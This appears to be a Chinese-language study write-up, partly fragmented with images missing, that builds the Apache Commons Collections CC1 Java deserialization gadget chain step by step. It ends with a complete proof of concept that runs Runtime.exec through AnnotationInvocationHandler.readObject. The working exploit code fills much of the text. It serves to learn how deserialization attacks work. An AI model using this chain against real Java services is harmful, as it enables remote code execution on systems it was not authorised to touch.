
存在invoke
,执行危险函数
1
2
3
4
5
|
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getDeclaredMethod("exec",String.class);
method.invoke(runtime,"calc");
和runtime通过反射弹计算器很像,而且参数都可控
|


一一对应,调用transform()
方法将Runtime
对象传入,相当于反射了执行exec危险函数
1
2
3
4
5
6
7
8
|
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
//Method method = c.getDeclaredMethod("exec",String.class);
//method.invoke(runtime,"calc");
//以上是runtime的弹计算器操作
//public构造方法,无需反射
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
|
找到链尾,继续找transform
的同方法不同调用类

圈的就是还是同样的transformer类的transform方法
下划线的就是新的类的transform方法
其中 TransformedMap
类中存在 checkSetValue()
方法调用了 transform()
方法。

接下来我们去看一看 valueTransformer.checkSetValue
的 valueTransformer
是什么东西,最终在 TransformedMap
的构造函数中发现了 valueTransformer

- 因为
TransformedMap
的构造方法作用域是 protected
,我们还需要去找一找谁调用了 TransformedMap
的构造方法。
在 decorate()
静态方法中创建了 TransformedMap
对象


InvokerTransformer
继承了Transformer
,所以decorate(Transformer valueTransformer)
能传入InvokerTransformer
对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
//Method method = c.getDeclaredMethod("exec",String.class);
//method.invoke(runtime,"calc");
//以上是runtime的弹计算器操作
//public构造方法,无需反射
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(runtime);
HashMap<Object,Object> map = new HashMap<>();
//protected构造方法,decorate静态方法能返回一个TransformedMap对象
Map decoratemap = TransformedMap.decorate(map,null,invokerTransformer);
//protected checkSetValue 要通过反射
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method method = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
method.setAccessible(true);
method.invoke(decoratemap,runtime);
|
成功弹计算器
继续找调用checkSetValue
的不同类



所以,我们在进行 .decorate
方法调用,进行 Map 遍历的时候,就会走到 setValue()
当中,而 setValue()
就会调用 checkSetValue
遍历调用checkSetValue
的原理
1
2
3
4
|
for(Map.Entry entry:decoratemap.entrySet())
{
entry.setValue(runtime);
}
|
AbstractInputCheckedMapDecorator
的entrySet
函数

isSetValueChecking()
默认为真,返回一个EntrySet的类
this
是指当前实例,也就是TransformedMap
此时参数(map.entrySet(),TransformedMap)
map.entrySet()返回由Map.Entry组成的原始集合
在EntrySet类中,迭代器使用了EntrySetInterator进行迭代

重写了迭代中会使用的next(),在这里就返回了MapEntry装饰的Map.Entry

从而调用<font style="color:rgb(33, 53, 71);">MapEntry类的setValue()函数</font>

开断点运行的流程
增强for循环工作原理如下:
获取迭代器:调用集合对象的 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">iterator()</font>
方法,获取一个 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Iterator</font>
对象。
检查是否有下一个元素:调用 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Iterator</font>
对象的 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">hasNext()</font>
方法,检查是否有下一个元素。
获取下一个元素:如果 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">hasNext()</font>
返回 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">true</font>
,则调用 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Iterator</font>
对象的 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">next()</font>
方法,获取下一个元素。
执行循环体:将获取的元素赋值给循环变量,并执行循环体。
这意味着每次循环实际上是在使用迭代器遍历集合。
即遍历调用setValue背后的详细步骤如下:
- 获取迭代器:增强型
<font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">for</font>
循环隐式调用 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">transformedMap.entrySet().iterator()</font>
,获取 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Iterator</font>
对象。
- 检查是否有下一个元素:增强型
<font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">for</font>
循环隐式调用 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Iterator</font>
对象的 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">hasNext()</font>
方法。
- 获取下一个元素:如果
<font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">hasNext()</font>
返回 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">true</font>
,增强型 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">for</font>
循环隐式调用 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Iterator</font>
对象的 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">next()</font>
方法。
- 执行循环体:将
<font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">next()</font>
方法返回的元素赋值给 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">entry</font>
变量,然后执行循环体中的 <font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">entry.setValue(Runtime.class)</font>
。<font style="color:rgb(39, 56, 73);">parent早就是TransformedMap</font>
,所以自然会调用
<font style="color:rgb(39, 56, 73);">TransformedMap.checkSetValue</font>
1
2
3
4
5
6
7
8
9
10
|
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("123","456");
Map<Object,Object> decoratemap = TransformedMap.decorate(hashmap,null,invokerTransformer);
for(Map.Entry entry:decoratemap.entrySet())
{
entry.setValue(runtime);
}
|
成功弹计算器了
找readObject
找调用setValue
的readObject
入口类


这里的for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
和for(Map.Entry entry:decoratemap.entrySet())
可以发现是一样的,只不过参数名称不同,
所以memberValues
需要被赋值为TransformedMap

没有修饰符,说明不能直接new,要通过反射
1
2
3
4
|
Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationclz = clz.getDeclaredConstructor(Class.class,Map.class);
annotationclz.setAccessible(true);
Object o = annotationclz.newInstance(Override.class,decoratemap);
|
理想状况下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
import java.util.Map;
public class cc1Test {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
Class c = Runtime.class;
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("123","456");
Map<Object,Object> decoratemap = TransformedMap.decorate(hashmap,null,invokerTransformer);
Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationclz = clz.getDeclaredConstructor(Class.class,Map.class);
annotationclz.setAccessible(true);
Object o = annotationclz.newInstance(Override.class,decoratemap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
|
但是还有三个问题要解决
1.Runtime对象不可序列化,需要通过反射将其变成可以序列化的形式。
2.setValue()
的传参,是需要传 Runtime
对象的;而在实际情况当中的 setValue()
的传参是这个东西

3.解决上文提到的,要进入 setValue
的两个 if 判断
解决问题
1.Runtime不能序列化
Runtime
是不能序列化的,但是 Runtime.class
是可以序列化的。
1
2
3
4
|
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method method = c.getMethod("exec",String.class);
method.invoke(r,"calc");
|
对<font style="color:rgb(80, 80, 92);">getRuntime()</font>
也反射
1
2
3
4
5
6
7
|
Class c = Runtime.class;
Method method = c.getMethod("getRuntime");
//getRuntime没有参数
Object object =(Runtime) method.invoke(null,null);
//这里相当于调用静态方法getRuntime,返回Runtime实例
Method method1 = c.getMethod("exec",String.class);
method1.invoke(object,"calc");
|
2.解决两个if条件
第一个if

打印一下就知道了


所以name就是键名
get
是获取键名name
的键值
AnnotationInvocationHandler的readObject内的<font style="color:rgb(71, 101, 130);background-color:rgb(241, 241, 241);">Class<?> memberType = memberTypes.get(name);</font>
做了什么呢?就是取出注解类中为name的方法名。
因为先给的<font style="color:rgb(33, 53, 71);">Override</font>
没有方法,所以<font style="color:rgb(33, 53, 71);">memberType</font>
为null

但是Target
有value方法,所以给如果name为value
,<font style="color:rgb(33, 53, 71);">memberType</font>
就为真
1
2
|
hashmap.put("value","456");
Object o = annotationclz.newInstance(Target.class,decoratemap);
|

debug能进入下面的代码
第二个if

调试的时候,已经给出value的值是键值了,这个if判断就是判断value是不是memberType
的实例,或者ExceptionProxy
的实例,不是就执行 if 语句块中的代码
这里put传键值随便传个123
3.解决setValue()
的传参
这里用到了ChainedTransformer

transform方法就是个反射的代码
所以不需要写那么多反射,这里直接每次都调用transform来反射
构造方法能看到传入的是Transformer
数组

1
2
3
4
5
6
7
|
Transformer[] transformers = {
new InvokerTransformer("getMethod",new Class[]{String.class},new Object[]{"getRuntime"}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
|
不是很看的懂
1
2
3
4
5
6
7
|
相当于把这些操作都揉和了
Class c = Runtime.class;
Method method = c.getMethod("getRuntime");
Object object =(Runtime) method.invoke(null,null);
Method method1 = c.getMethod("exec",String.class);
method1.invoke(object,"calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
|

这里应该要传入TransformedMap
的,但是限死了

看报错看得出来
ConstantTransformer
类也有个transform方法,而且只会返回他固定的值


构造方法也简单,只需要传入一个类,这里传入Runtime.class
完整poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// System.out.println(transformers[0]);
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("value","456");
Map<Object,Object> decoratemap = TransformedMap.decorate(hashmap,null,chainedTransformer);
Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationclz = clz.getDeclaredConstructor(Class.class,Map.class);
annotationclz.setAccessible(true);
Object o = annotationclz.newInstance(Target.class,decoratemap);
serialize(o);
unserialize("ser.bin");
|
链子
1
2
3
4
5
|
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
|
